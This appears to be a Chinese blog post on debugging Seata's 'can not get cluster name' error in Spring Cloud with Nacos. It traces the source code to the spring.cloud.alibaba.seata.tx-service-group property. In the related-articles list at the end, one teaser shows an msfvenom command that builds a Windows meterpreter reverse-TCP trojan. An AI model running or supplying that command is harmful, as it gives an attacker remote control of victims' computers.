调式源码解决 seata 报错 can not get cluster name 问题
最近在使用Spring Cloud整合分布式事务seata,项目启动之后,控制台一直报错:
can not get cluster name in registry config 'service.vgroupMapping.nacos-provide-order-seata-service-group', please make sure registry config correct
can not get cluster name in registry config 'service.vgroupMapping.nacos-provide-order-seata-service-group', please make sure registry config correct
can not get cluster name in registry config 'service.vgroupMapping.nacos-provide-order-seata-service-group', please make sure registry config correct
无法在注册配置上找到
service.vgroupMapping.nacos-provide-order-seata-service-group配置。
问题分析
搭建seata服务,需要用到配置中心,将配置文件config.txt上传到Nacos配置中心,其中有一项配置是:
service.vgroupMapping.default_tx_group=default
这个配置和控制台报错信息很像:
service.vgroupMapping.nacos-provide-order-seata-service-group
这个配置就是事务分组,从 官网文档 看到事务分组的配置:

总结就是需要在客户端的配置文件添加配置seata.tx-service-group=xxx,seata通过这个配置去Nacos配置中心寻找配置service.vgroupMapping.xxx。
上面导入的配置为service.vgroupMapping.default_tx_group,所以在application.yml文件添加配置:
seata:
tx-service-group: default_tx_group
项目重新启动,还是同样的报错
既然提示找不到配置,在配中心添加配置文件nacos-provide-order-seata-service-group:

添加配置之后,就不报错了,文档有说明:
获取事务分组(服务启动时加载配置)
spring/springboot可配置在yml、properties中,对应值"my_test_tx_group"即为事务分组名,若不配置则默认以:spring.application.name值+-seata-service-group拼接后的字符串作为分组名。
seata还是按照默认的配置spring.application.name + -seata-service-group去配置中心找配置,上面的配置没有生效。
调式源码
报错是在NettyClientChannelManager类的176行:

transactionServiceGroup表示事务分组名,调式到分组名值为nacos-provide-stock-seata-service-group,说明配置seata.tx-service-group没有生效,就需要找到transactionServiceGroup来源。
一般调式代码,都是调式下一步,往上调式就用到了调式的上一步:

从上面的断点调式上一步,就定位到RmNettyRemotingClient类的第194行:

transactionServiceGroup是一个实例变量,需要唯一赋值该变量的地方就在RmNettyRemotingClient类的第140行:

setTransactionServiceGroup方法被本类的getInstance方法调用,也就是RmNettyRemotingClient类99行,添加断点,重启服务:

调式上一步,定位到RMClient类的init方法:

调式上一步,定位到GlobalTransactionScanner类的201行:

此时txServiceGroup又是一个实例变量,找到变量赋值的位置:

添加断点之后,重启服务,到了断点,再点击上一步,一直定位到GlobalTransactionAutoConfiguration:
@Bean
public GlobalTransactionScanner globalTransactionScanner() {
String applicationName = applicationContext.getEnvironment()
.getProperty("spring.application.name");
String txServiceGroup = seataProperties.getTxServiceGroup();
if (StringUtils.isEmpty(txServiceGroup)) {
txServiceGroup = applicationName + "-seata-service-group";
seataProperties.setTxServiceGroup(txServiceGroup);
}
return new GlobalTransactionScanner(applicationName, txServiceGroup);
}
txServiceGroup首先通过seataProperties.getTxServiceGroup获取,如果为null,就使用applicationName + -seata-service-group。
从最终报错位置看,seataProperties.getTxServiceGroup无法获取txServiceGroup,先看getTxServiceGroup获取数据:
@ConfigurationProperties("spring.cloud.alibaba.seata")
public class SeataProperties {
// todo support config Seata server information
/**
* Seata tx service group.default is ${spring.application.name}-seata-service-group.
*/
private String txServiceGroup;
public String getTxServiceGroup() {
return txServiceGroup;
}
public void setTxServiceGroup(String txServiceGroup) {
this.txServiceGroup = txServiceGroup;
}
}
最终发现
txServiceGroup是通过配置spring.cloud.alibaba.seata.tx-service-group内容获取。
问题解决
在application.yml文件配置配置,
spring:
cloud:
alibaba:
seata:
tx-service-group: default_tx_group
seata获取到default_tx_group属性后,在nacos配置中心找到service.vgroupMapping.default_tx_group配置。
总结
Spring Cloud整合seata,控制台报错can not get cluster name in registry config 'service.vgroupMa- 查询文档,nacos添加了
service.vgroupMapping.xxx配置,就需要在yml文件上seata.tx-service-group=xxx配置。添加后控制台还是报错。 - 调式源码,找到报错代码位置,一步一步向上调试,找到分组事务无法设置的原因,最后发现分组事务是根据
spring.cloud.alibaba.seata.tx-service-group属性来设置。
官方文档更新不及时的时候,这就需要我们调式源码的能力。前段时间一直在写解析源码的文章,所以也在尝试一步步调式代码,最终解决了问题,对自己能力也是一次提高。平时开发遇到问题,通过调式源码,可以快速的定位问题。
授人以鱼不如授人以渔,作为程序员,重要的不是找到问题,而是找到问题的解决方案。要追根溯源,做到心中有数,遇问题也不慌。
调式源码解决 seata 报错 can not get cluster name 问题的更多相关文章
- vs2010查看quartz.net 2.1.2的源码时其中一报错的解决方法
问题: 使用vs2010查看quartz.net 2.1.2的源码时,报错: ..\Quartz.NET-2.1.2\server\Quartz.Server\Quartz.Server.2010.c ...
- 源码编译apache报错的解决方法
源码编译apache报错的解决方法 问题介绍 在源码编译安装httpd时,./configure执行无错误,到make时就报错,在网络上搜索了很多文章,很多方法如换apr-util的低版本并不能很 ...
- android 隐藏API 在源码下编译报错cannot find symbol symbol
应该是我对android 不熟悉的缘故,今天使用源码编译了一个调用了隐藏api的应用程序始终报错: cannot find symbol symbol : class IPackageInstall ...
- 手动编译源码安装包报错 fatal error:cruses.h: no such file or direcrory
很明显是缺少cruses.h这个文件,但是用yum搜索又搜不到,可能是我的yum源的库包太少的原因吧. 后来多方查找,发现cruses.h这个头文件属于ncurses模块,需要安装ncurses-de ...
- Django源码安装xadmin报错Apps aren't loaded yet.
环境:python2.7, django1.9 1.报错django.core.exceptions.AppRegistryNotReady:Apps aren't loaded yet.如下图所示: ...
- 源码安装python 报错,openssl: error while loading shared libraries: libssl.so.1.1
在执行openssl version出现如下错误: openssl: error while loading shared libraries: libssl.so.1.1: cannot open ...
- [转]解决Maven报错"Plugin execution not covered by lifecycle configuration"
[转]解决Maven报错"Plugin execution not covered by lifecycle configuration" 导入Myabtis源码后,POM文件会报 ...
- Idea使用记录--添加Problems&&解决Autowired报错could not autowire
今天在使用Idea的时候,发现Idea在整个每次找到错误代码非常不方便(Idea如果类中有错误,没有打开过类并不会提示,比如构建工程后缺少jar包问题).我想快速看到工程哪里出问题类似于eclipse ...
- 编译VisualVM源码解决乱码问题
编译VisualVM源码解决乱码问题 起因 今天在使用VisualVM对测试服务器进行JVM监控的时候,发现所有统计图的横纵坐标都是显示乱码(小方块),即使我的Ubuntu系统使用的是英文语言环境.奇 ...
- 解决MySQL报错ERROR 2002 (HY000)【转】
今天在为新的业务线搭架数据库后,在启动的时候报错 root@qsbilldatahis-db01:/usr/local/mysql/bin# ./mysql ERROR 2002 (HY000): C ...
随机推荐
- 【JVM故障问题排查心得】「内存诊断系列」JVM内存与Kubernetes中pod的内存、容器的内存不一致所引发的OOMKilled问题总结(上)
背景介绍 在我们日常的工作当中,通常应用都会采用Kubernetes进行容器化部署,但是总是会出现一些问题,例如,JVM堆小于Docker容器中设置的内存大小和Kubernetes的内存大小,但是还是 ...
- Linux常用软件的安装及Nginx的使用
主要内容: 软件安装方式 上传与下载工具 常用软件的安装--jdk.tomcat.mysql.redis 项目的部署 Nginx的安装 Nginx的功能 静态网站部署 虚拟主机配置及端口绑定 域名绑定 ...
- 【Java EE】Day09 JavaScript基础、ECMAScript语法、Java对象
一.简介 1.概念 客户端脚本语言 脚本语言:无需编译,直接被解析执行 运行在:客户端浏览器,每个浏览器都有解析引擎 功能: 用户与页面交互 控制html元素 使页面产生动态效果 2.发展史 1992 ...
- 复杂mysql/多表查询
目录 多表查询的两种方法 sql语句基础语法补充 concat / existe / 表字段 增加 修改 删除 复杂sql练习题 多表查询的两种方法 方式1:连表操作 inner join 内连接 s ...
- AIBOX视频边缘计算终端,助力识别人员违规行为!
目前,制造业工厂工作区布局分散,生产安全质量控制难度较大.人员擅自离岗.玩手机.区域入侵.吸烟.未穿反光衣.异物占位等违法行为不能及时控制,安全风险十分巨大.如果手动检查或通过人眼检查监控录像,不仅产 ...
- 《MySQL必知必会》之快速入门存储过程
使用存储过程 本章介绍什么是存储过程,为什么使用.如何使用,并介绍如何创建和使用存储过程的基本语法 存储过程 在实际应用中,往往需要执行多个表的多条sql语句 存储过程就是为以后的使用而保存的一条或者 ...
- 监听Windows(生成木马)
sudo su msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=ip地址 LPORT=端口 -f ...
- OpenJudge 1.8.11 图像旋转
11:图像旋转 总时间限制: 1000ms 内存限制: 65536kB 描述 输入一个n行m列的黑白图像,将它顺时针旋转90度后输出. 输入 第一行包含两个整数n和m,表示图像包含像素点的行数和列数. ...
- 通过surging的后台托管服务编写任务调度并支持规则引擎自定义脚本
简介 过去,如果在业务中需要处理任务调度的时候,大家都会使用第三方的任务调度组件,而第三方组件有一套自己的规则,在微服务的中显得那么格格不入,这样就会造成代码臃肿,耦合性高,如果有分布式还需要搭建新的 ...
- Python 文件操作(IO 技术)
目录 Python 文件操作(IO 技术) 文本文件和二进制文件 文件操作相关模块概述 建文件对象 open() 文本文件的写入 write()/writelines()写入数据 close()关闭文 ...